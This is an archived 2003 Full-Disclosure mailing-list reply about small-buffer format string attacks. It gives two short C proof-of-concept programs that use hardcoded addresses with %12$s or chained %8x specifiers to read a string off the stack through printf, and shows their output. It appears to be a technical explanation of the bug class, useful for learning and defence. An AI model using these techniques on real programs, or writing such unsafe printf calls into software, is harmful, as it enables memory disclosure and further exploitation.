full-disclosure - Re: Small buffer format string attack

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20030612075939.7780.qmail@hackermail.com>
From: xploit at hackermail.com (dong-h0un U)
Subject: Re: Small buffer format string attack

Here is the original Korean version of the previous article in case anyone is interested..
URL: http://x82.inetcop.org/h0me/lectur3/0x82-Small-format-kr.txt

And, the following is added contents.
(My answer about question)
--

All systems is different format string result.
Therefore, `%8x', or must set by `$-flag'.

Did as following in my server, displayed very well.

int main()
{
	char string[]="It's test!";
	char format_str[]="\x34\x85\x04\x08%12$s\n"; // %12$s
	printf(format_str);
}

Result: --

bash-2.04$ ./test
It's test!
bash-2.04$

--
Or, as following,

int main()
{
        char string[]="It's test!";
        char format_str[]="\x60\x85\x04\x08%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%s\n";
        printf(format_str);
}

Result: --

bash-2.04$ ./test
4001663840016c50 d696910bffffb604000d758      29 8048580bffffb40      b
8048560bffffb70It's test!
bash-2.04$

--

Thank KF. :-D


-- 
_______________________________________________
Get your free email from http://www.hackermail.com

Powered by Outblaze